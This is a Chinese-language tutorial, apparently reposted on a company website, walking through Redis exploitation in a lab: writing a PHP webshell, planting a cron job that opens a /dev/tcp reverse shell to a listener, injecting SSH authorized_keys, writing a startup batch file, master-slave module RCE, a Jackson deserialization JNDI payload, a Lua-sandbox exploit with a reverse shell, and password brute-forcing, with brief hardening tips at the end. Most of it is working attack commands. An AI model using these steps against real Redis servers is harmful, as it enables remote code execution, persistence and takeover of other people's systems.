Redis漏洞利用的示例分析

這篇文章給大家分享的是有關(guān)redis漏洞利用的示例分析的內(nèi)容。小編覺(jué)得挺實(shí)用的,因此分享給大家做個(gè)參考,一起跟隨小編過(guò)來(lái)看看吧。

創(chuàng)新互聯(lián)公司主營(yíng)銅川網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營(yíng)網(wǎng)站建設(shè)方案,App定制開(kāi)發(fā),銅川h5微信小程序定制開(kāi)發(fā)搭建,銅川網(wǎng)站營(yíng)銷(xiāo)推廣歡迎銅川等地區(qū)企業(yè)咨詢(xún)

僅供參考學(xué)習(xí)使用

1、前言

Redis相關(guān)的漏洞存在很長(zhǎng)時(shí)間了,仍然存在可以利用的情景,本次整理復(fù)現(xiàn)下redis相關(guān)的漏洞利用,以便以后遇到能夠快速建立利用思路。

2、redis介紹

redis是一個(gè)key-value存儲(chǔ)系統(tǒng)。和Memcached類(lèi)似,它支持存儲(chǔ)的value類(lèi)型相對(duì)更多,包括string(字符串)、list(鏈表)、set(**)、zset(sorted set --有序**)和hash(哈希類(lèi)型)。
redis很大程度補(bǔ)償了memcached這類(lèi)key/value存儲(chǔ)的不足,在部分場(chǎng)合可以對(duì)關(guān)系數(shù)據(jù)庫(kù)起到很好的補(bǔ)充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶(hù)端,使用很方便。
redis支持主從同步。數(shù)據(jù)可以從主服務(wù)器向任意數(shù)量的從服務(wù)器上同步,從服務(wù)器可以是關(guān)聯(lián)其他從服務(wù)器的主服務(wù)器。
默認(rèn)端口:6379

3、 環(huán)境搭建

分別搭建windows和linux的測(cè)試環(huán)境。
官方給出redis的windows版本最新為3.x。
windows下載地址:
https://github.com/microsoftarchive/redis/releases
下載Redis-x64-3.2.100.zip解壓到本地目錄下。

Redis漏洞利用的示例分析

修改配置文件redis.windows.conf ,開(kāi)啟遠(yuǎn)程訪問(wèn),關(guān)閉保護(hù)模式。
修改bind 127.0.0.1為bind 0.0.0.0
修改protected-mode yes為protected-mode no

Redis漏洞利用的示例分析

指定redis.windows.conf配置文件,啟動(dòng)redis服務(wù)。

redis-server.exe  redis.windows.conf

Redis漏洞利用的示例分析

使用redis-cli.exe成功連接redis服務(wù)。

Redis漏洞利用的示例分析

linux下載地址:
最新版為6.0.1,可以選擇需要的版本進(jìn)行下載。
http://download.redis.io/releases/redis-6.0.1.tar.gz
使用wget命令下載

$ wget http://download.redis.io/releases/redis-6.0.1.tar.gz
$ tar xzf redis-6.0.1.tar.gz
$ cd redis-6.0.1$ make

編譯后,進(jìn)入src目錄,將redis-server和redis-cli拷貝到/usr/bin目錄下

cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ../
ls
cp redis.conf /etc/

修改redis.conf和windows下配置相同,開(kāi)啟外部訪問(wèn),關(guān)閉保護(hù)模式。

Redis漏洞利用的示例分析

啟動(dòng)redis服務(wù)

redis-server  /etc/redis.conf

Redis漏洞利用的示例分析

成功連接redis服務(wù)。

redis-cli -h 172.16.86.136

Redis漏洞利用的示例分析

4、redis寫(xiě)入文件

redis默認(rèn)情況下沒(méi)有設(shè)置密碼,在沒(méi)有設(shè)置IP訪問(wèn)限制的情況下,可以通過(guò)redis寫(xiě)入文件進(jìn)行相關(guān)利用。

4.1、寫(xiě)入webshell

適用范圍:windows,linux版本。
利用條件:
1、目標(biāo)存在web目錄
2、已知web絕對(duì)路徑
3、存在寫(xiě)入權(quán)限
利用過(guò)程:
利用redis寫(xiě)入一個(gè)webshell到目標(biāo)web目錄下。

config set dir "C:/phpstudy_pro/WWW/web"
config set dbfilename info.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"
save

Redis漏洞利用的示例分析

\r\n\r\n代表?yè)Q行的意思,用redis入的文件會(huì)自帶一些版本信息,如果不換行可能會(huì)導(dǎo)致無(wú)法執(zhí)行。

Redis漏洞利用的示例分析

成功寫(xiě)入文件。

Redis漏洞利用的示例分析

4.2、計(jì)劃任務(wù)反彈shell

使用范圍:centos
利用條件:
1、權(quán)限可寫(xiě)計(jì)劃任務(wù)
利用過(guò)程:
在權(quán)限足夠的情況下,利用redis寫(xiě)入文件到計(jì)劃任務(wù)目錄下執(zhí)行。
首先監(jiān)聽(tīng)端口。

nc -lvp 8899

利用redis生成計(jì)劃任務(wù)配置文件。

config set dir /var/spool/cronset tide "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/8899 0>&1\n\n"config set dbfilename root
save

Redis漏洞利用的示例分析

在目標(biāo)主機(jī)上成功添加了計(jì)劃任務(wù)。

crontab -l

Redis漏洞利用的示例分析

每一分鐘執(zhí)行一次,成功接收到反彈的shell。

Redis漏洞利用的示例分析

坑點(diǎn):
使用kali做為目標(biāo)主機(jī)進(jìn)行測(cè)試,需要寫(xiě)入計(jì)劃任務(wù)到/var/spool/cron/crontabs目錄下。
發(fā)現(xiàn)當(dāng)目標(biāo)主機(jī)為centos時(shí)可以反彈shell成功,使用了ubuntu和debian均無(wú)法成功反彈shell。
原因:由于redis向任務(wù)計(jì)劃文件里寫(xiě)內(nèi)容出現(xiàn)亂碼而導(dǎo)致的語(yǔ)法錯(cuò)誤,而亂碼是避免不了的,centos會(huì)忽略亂碼去執(zhí)行格式正確的任務(wù)計(jì)劃。

4.3、寫(xiě)入公鑰遠(yuǎn)程連接

使用范圍:開(kāi)啟了密鑰認(rèn)證的linux主機(jī)
利用條件:
1、root權(quán)限
2、開(kāi)啟了ssh密鑰登錄,存在/etc/.ssh文件
利用過(guò)程:
當(dāng)redis以root身份運(yùn)行,可以給root賬戶(hù)寫(xiě)入SSH公鑰文件,直接通過(guò)SSH登錄目標(biāo)服務(wù)器。
1、首先在centos靶機(jī)上開(kāi)啟ssh密鑰登錄。
修改/etc/ssh/sshd_config配置文件。

RSAAuthentication設(shè)置為yes,意思是設(shè)置開(kāi)啟使用RSA算法的基于rhosts的安全驗(yàn)證;
PubkeyAuthentication設(shè)置為yes,意思是設(shè)置開(kāi)啟公鑰驗(yàn)證;
AuthorizedKeyFiles后面的目錄,是你上傳的公鑰所保存的文件;

Redis漏洞利用的示例分析

重啟服務(wù)

 systemctl restart sshd.service

2、生成密鑰
在kali中使用自帶的命令生成一對(duì)密鑰。

ssh-keygen -t rsa

3、將公鑰內(nèi)容導(dǎo)入key.txt文件

Redis漏洞利用的示例分析

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

Redis漏洞利用的示例分析

4、將生成的公鑰內(nèi)容設(shè)置給redis里的變量

cat /root/.ssh/key.txt | redis-cli -h x.x.x.x -x set tide

Redis漏洞利用的示例分析

5、在 /root/.ssh 目錄下生成authorized_keys文件。

redis-cli -h x.x.x.x
config set dir /root/.ssh 
config  set  dbfilename authorized_keys

Redis漏洞利用的示例分析

成功寫(xiě)入authorized_keys文件。

Redis漏洞利用的示例分析

6、使用本地的私鑰連接ssh

ssh  -o StrictHostKeyChecking=no x.x.x.x

連接成功。

Redis漏洞利用的示例分析

坑點(diǎn):
目標(biāo)主機(jī)必須開(kāi)啟了密鑰登錄才能利用。
ssh第一次連接時(shí)要加上 -o StrictHostKeyChecking=no,不然可能一直連不上。

4.4、開(kāi)機(jī)自啟目錄

當(dāng)目標(biāo)redis部署在windows主機(jī)上時(shí),可以寫(xiě)入文件到自啟動(dòng)目錄。當(dāng)下次電腦重新啟動(dòng)時(shí)執(zhí)行上線。
使用powershell遠(yuǎn)程下載執(zhí)行。
server服務(wù)器默認(rèn)存在Administrator用戶(hù)。
寫(xiě)入批處理文件到Administrator用戶(hù)的開(kāi)機(jī)啟動(dòng)目錄。

config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
config set dbfilename shell.bat
save

Redis漏洞利用的示例分析

5、 redis主從同步rce

使用范圍redis 4.x-5.0.5
在Redis 4.x之后,Redis新增了模塊功能,通過(guò)外部拓展,可以在redis中實(shí)現(xiàn)一個(gè)新的Redis命令,通過(guò)寫(xiě)c語(yǔ)言并編譯出.so文件。

git clone https://github.com/Ridter/redis-rce.gitgit clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git

編譯so文件

cd RedisModules-ExecuteCommand/
ls
make

編譯完后之后module.so到redis-rce目錄下,運(yùn)行命令:

python redis-rce.py -r x.x.x.x  -L x.x.x.x -f module.so

-r參數(shù)是指目標(biāo)redis IP地址
-L參數(shù)是指本機(jī)的ip地址
執(zhí)行命令后,本機(jī)21000端口生成一個(gè)redis服務(wù),然后目標(biāo)redis指定本機(jī)為主服務(wù)器,同步執(zhí)行so文件。
執(zhí)行成功后可以選擇生成一個(gè)交互的shell,或者重新反彈一個(gè)shell。

Redis漏洞利用的示例分析

6、反序列化rce

當(dāng)遇到 redis 服務(wù)器寫(xiě)文件無(wú)法 getshell,可以查看redis數(shù)據(jù)是否符合序列化數(shù)據(jù)的特征。
序列化數(shù)據(jù)類(lèi)型分辨:

jackson:關(guān)注 json 對(duì)象是不是數(shù)組,第一個(gè)元素看起來(lái)像不像類(lèi)名,例如["com.blue.bean.User",xxx]
fastjson:關(guān)注有沒(méi)有 @type 字段
jdk:首先看 value 是不是 base64,如果是解碼后看里面有沒(méi)有 java 包名

redis 反序列化本質(zhì)上不是 redis 的漏洞,而是使用 redis 的應(yīng)用反序列化了 redis 的數(shù)據(jù)而引起的漏洞,redis 是一個(gè)緩存服務(wù)器,用于存儲(chǔ)一些緩存對(duì)象,所以在很多場(chǎng)景下 redis 里存儲(chǔ)的都是各種序列化后的對(duì)象數(shù)據(jù)。
兩個(gè)常見(jiàn)場(chǎng)景:
一、java 程序要將用戶(hù)登錄后的 session 對(duì)象序列化緩存起來(lái),這種場(chǎng)景是最常見(jiàn)的。
二、程序員經(jīng)常會(huì)把 redis 和 ORM 框架整合起來(lái),一些頻繁被查詢(xún)的數(shù)據(jù)就會(huì)被序列化存儲(chǔ)到 redis 里,在被查詢(xún)時(shí)就會(huì)優(yōu)先從 redis 里將對(duì)象反序列化一遍。

redis一般存儲(chǔ)的都是 java 序列化對(duì)象,php、python 比較少見(jiàn),比較多的是 fastjson 和 jackson 類(lèi)型的序列化數(shù)據(jù),jdk 原生的序列化數(shù)據(jù)。
因?yàn)橐獜?redis 反序列化對(duì)象,在對(duì)象類(lèi)型非單一或少量的情況下程序員通常會(huì)選擇開(kāi)啟 jackson 的 defaulttyping 和 fastjson 的 autotype,所以通??梢赃M(jìn)行利用。

fastjson反序列化和java反序列化和jackson 反序列化利用原理相同,都是通過(guò)篡改 redis 里面的反序列化數(shù)據(jù),把惡意的序列化字節(jié)碼存儲(chǔ)進(jìn)去,等到應(yīng)用使用到它的時(shí)候就會(huì)反序列化觸發(fā)漏洞,下面演示jackson 反序列化的利用過(guò)程。

6.1、jackson 反序列化利用

序列化:把Java對(duì)象轉(zhuǎn)換為字節(jié)序列的過(guò)程。
反序列化:把字節(jié)序列恢復(fù)為Java對(duì)象的過(guò)程。
jackson 反序列化漏洞匯總
使用淺藍(lán)大佬的springboot+redis+jackson的漏洞環(huán)境進(jìn)行演示。
下載地址:https://github.com/iSafeBlue/redis-rce
首先搭建漏洞環(huán)境。
使用IDEA打開(kāi)pom.xml文件,自動(dòng)下載安裝程序運(yùn)行所需的依賴(lài)。

Redis漏洞利用的示例分析

安裝完成后,運(yùn)行程序。

Redis漏洞利用的示例分析本地啟動(dòng)一個(gè)redis。

Redis漏洞利用的示例分析

TestController.java 里寫(xiě)了兩個(gè)接口,login 接口會(huì)把 User 對(duì)象直接存儲(chǔ)到 redis。home 接口會(huì)將 username 參數(shù)當(dāng)做 key 去 redis 里查詢(xún)。

在“存儲(chǔ)”和“查詢(xún)”的時(shí)候?qū)嶋H上就是在“序列化”與“反序列化”。

這個(gè)過(guò)程如下:

調(diào)用login接口 -> 序列化User對(duì)象并存儲(chǔ)到redis -> 調(diào)用home接口 -> 從redis取出數(shù)據(jù)并反序列化

如果控制了redis,可以先調(diào)用login接口把User 對(duì)象序列化存儲(chǔ)到redis,然后把redis里的這條序列化數(shù)據(jù)篡改成惡意反序列化數(shù)據(jù)。最后去訪問(wèn)home接口,從redis中取出數(shù)據(jù),從而導(dǎo)致觸發(fā)了反序列化漏洞。

演示過(guò)程:
訪問(wèn)login接口把數(shù)據(jù)存儲(chǔ)到redis。

127.0.0.1:8080/login?username=nuoyan&password=123456

Redis漏洞利用的示例分析

修改redis中的存儲(chǔ)的數(shù)據(jù)為惡意反序列化數(shù)據(jù),發(fā)起 JNDI 連接請(qǐng)求。相關(guān)rmi和jndi服務(wù)器搭建可以參考

Fastjson反序列化漏洞利用

set nuoyan "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://x.x.x.x:1098/jndi\"}]"

Redis漏洞利用的示例分析

然后訪問(wèn)home接口,取出數(shù)據(jù)進(jìn)行反序列化,成功彈出了計(jì)算器。

http://127.0.0.1:8080/home?username=nuoyan

Redis漏洞利用的示例分析

7、lua rce

A-Team團(tuán)隊(duì)大佬提出的一種利用方法。相關(guān)細(xì)節(jié)可參考《在Redis中構(gòu)建Lua虛擬機(jī)的穩(wěn)定攻擊路徑》
適用于高權(quán)限運(yùn)行低版本redis的lua虛擬機(jī),寫(xiě)文件失敗時(shí)進(jìn)行嘗試。
本地搭建了centos6.5+redis 2.6.16的實(shí)驗(yàn)環(huán)境
使用info server 和 eval "return _VERSION" 0 命令可以查看當(dāng)前redis版本和編譯信息。

Redis漏洞利用的示例分析

下載A-Team團(tuán)隊(duì)的exp

https://github.com/QAX-A-Team/redis_lua_exploit/

修改redis_lua.py中目標(biāo)地址為靶機(jī)的ip地址。

Redis漏洞利用的示例分析

運(yùn)行攻擊exp。

Redis漏洞利用的示例分析

顯示執(zhí)行成功,可以進(jìn)行命令執(zhí)行了。

連接靶機(jī)redis執(zhí)行反彈shell命令。

eval "tonumber('/bin/bash -i >& /dev/tcp/172.16.100.61/9999 0>&1', 8)" 0

Redis漏洞利用的示例分析

成功接收到反彈的shell。

Redis漏洞利用的示例分析

8、redis密碼爆破

當(dāng)redis服務(wù)開(kāi)放且設(shè)置了密碼時(shí),可以嘗試使用工具爆破。
首先給redis設(shè)置密碼,修改redis.conf,增加密碼

requirepass admin@123

Redis漏洞利用的示例分析

使用redis-cli連接,使用-a參數(shù)指定密碼操作。

Redis漏洞利用的示例分析

使用msf的auxiliary/scanner/redis/redis_login模塊
設(shè)置爆破的目標(biāo)地址,和字典文件,不建議使用默認(rèn)字典文件。

Redis漏洞利用的示例分析

成功爆破出密碼為admin@123

Redis漏洞利用的示例分析

9、漏洞修復(fù)

1、禁止使用root權(quán)限啟動(dòng)redis服務(wù)。
2、對(duì)redis訪問(wèn)啟動(dòng)密碼認(rèn)證。
3、添加IP訪問(wèn)限制,并更改默認(rèn)6379端口

感謝各位的閱讀!關(guān)于“Redis漏洞利用的示例分析”這篇文章就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,讓大家可以學(xué)到更多知識(shí),如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到吧!

網(wǎng)站標(biāo)題:Redis漏洞利用的示例分析
網(wǎng)頁(yè)地址:http://bm7419.com/article12/isgjdc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供外貿(mào)網(wǎng)站建設(shè)、營(yíng)銷(xiāo)型網(wǎng)站建設(shè)定制開(kāi)發(fā)、軟件開(kāi)發(fā)、外貿(mào)建站網(wǎng)站改版

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶(hù)投稿、用戶(hù)轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話(huà):028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都app開(kāi)發(fā)公司